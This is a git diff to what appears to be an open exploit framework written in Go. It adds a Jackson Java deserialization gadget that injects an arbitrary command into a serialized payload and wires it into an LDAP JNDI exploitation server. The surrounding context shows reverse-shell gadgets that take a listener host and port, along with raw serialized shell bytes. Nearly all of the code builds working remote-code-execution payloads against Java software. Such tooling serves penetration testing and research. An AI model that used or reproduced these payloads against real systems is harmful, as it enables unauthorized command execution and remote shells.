diff --git a/java/gadgets/Jackson.bin b/java/gadgets/Jackson.bin
new file mode 100644
index 0000000..256623b
Binary files /dev/null and b/java/gadgets/Jackson.bin differ
diff --git a/java/javagadget.go b/java/javagadget.go
index 8bb6521..d8518d2 100644
--- a/java/javagadget.go
+++ b/java/javagadget.go
@@ -431,7 +431,7 @@ func Commons10CommandBytecode(commandStr string) (string, error) {
 //
 // Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "<base_url>" and "<classname>".
 func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) {
-	// 16-bit unsigned integer
+	// 16-bit (short) unsigned integer (big-endian)
 	if len(baseURL) < 1 || len(baseURL) > 65535 {
 		return "", ErrorInvalidCallbackArg("baseURL must be between 1 and 65535 characters")
 	} else if len(className) < 1 || len(className) > 65535 {
@@ -451,6 +451,30 @@ func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) {
 	return gadget, nil
 }
 
+// https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/blob/f9e097041b08d48289c3dae004996caa28718184/src/main/java/payloads/Jackson.java
+func JacksonGenericCommand(cmd string) (string, error) {
+	// 16-bit (short) unsigned integer (big-endian)
+	if len(cmd) < 1 || len(cmd) > 65535 {
+		return "", ErrorInvalidCommandLength("cmd must be between 1 and 65535 characters")
+	}
+
+	// $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -D Jackson -C "touch /tmp/vulnerable"
+	gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "Jackson.bin"))
+	if err != nil {
+		return "", fmt.Errorf("failed to read gadget: %w", err)
+	}
+
+	gadget := string(gadgetBytes)
+	gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd)
+	const (
+		arraySizeWithCommand    = "\x00\x00\x06\x54" // 1620
+		arraySizeWithoutCommand = 1599
+	)
+	gadget = strings.ReplaceAll(gadget, arraySizeWithCommand, transform.PackBigInt32(arraySizeWithoutCommand+len(cmd)))
+
+	return gadget, nil
+}
+
 // This is a serialized java reverse shell. The gadget was generated by ysoserial
 // but using the code in this pull https://github.com/frohoff/ysoserial/pull/96
 // and updated to make it easy to swap in the desired lhost+lport of our choosing
diff --git a/java/ldapjndi/ldapjndi.go b/java/ldapjndi/ldapjndi.go
index cef59cd..3181d7b 100644
--- a/java/ldapjndi/ldapjndi.go
+++ b/java/ldapjndi/ldapjndi.go
@@ -22,6 +22,7 @@ import (
 
 	message "github.com/lor00x/goldap/message"
 	ldap "github.com/vjeantet/ldapserver"
+	"github.com/vulncheck-oss/go-exploit/java"
 	"github.com/vulncheck-oss/go-exploit/output"
 )
 
@@ -38,6 +39,8 @@ const (
 	BeanUtils194GenericBash GadgetName = 3
 	// load class via an HTTP server.
 	HTTPReverseShell GadgetName = 4
+	// See implementation in java.JacksonGenericCommand.
+	JacksonGenericCommand GadgetName = 5
 )
 
 // a dirty way to pass the user's desired gadget to `handleBind`.
@@ -111,7 +114,7 @@ func CreateLDAPServer(name string) *ldap.Server {
 	return server
 }
 
-func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, command string) {
+func SetLDAPGadget(gadget GadgetName, binary, lhost string, lport int, command string) {
 	switch gadget {
 	case TomcatNashornReverseShell:
 		GlobalSerializedPayload = createTomcatNashornReverseShell(binary, lhost, lport)
@@ -121,6 +124,11 @@ func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, co
 		GlobalSerializedPayload = createGroovyGenericBash(command)
 	case BeanUtils194GenericBash:
 		GlobalSerializedPayload = createBeanUtils194GenericBash(command)
+	case JacksonGenericCommand:
+		var err error
+		if GlobalSerializedPayload, err = java.JacksonGenericCommand(command); err != nil {
+			output.PrintFrameworkError(err.Error())
+		}
 	case HTTPReverseShell:
 		fallthrough
 	default:
@@ -140,6 +148,8 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin
 		fallthrough
 	case BeanUtils194GenericBash:
 		fallthrough
+	case JacksonGenericCommand:
+		fallthrough
 	default:
 		output.PrintFrameworkError("Invalid payload")
 
@@ -166,7 +176,7 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin
 // "10.9.49.242" -> lhost
 // 1270 -> lport
 // The change in size will then be accounted for in the padding variable.
-func createTomcatNashornReverseShell(binary string, lhost string, lport int) string {
+func createTomcatNashornReverseShell(binary, lhost string, lport int) string {
 	shellPayload := "\xac\xed" +
 		"\x00\x05\x73\x72\x00\x1d\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65" +
 		"\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x52\x65\x73\x6f\x75\x72\x63\x65" +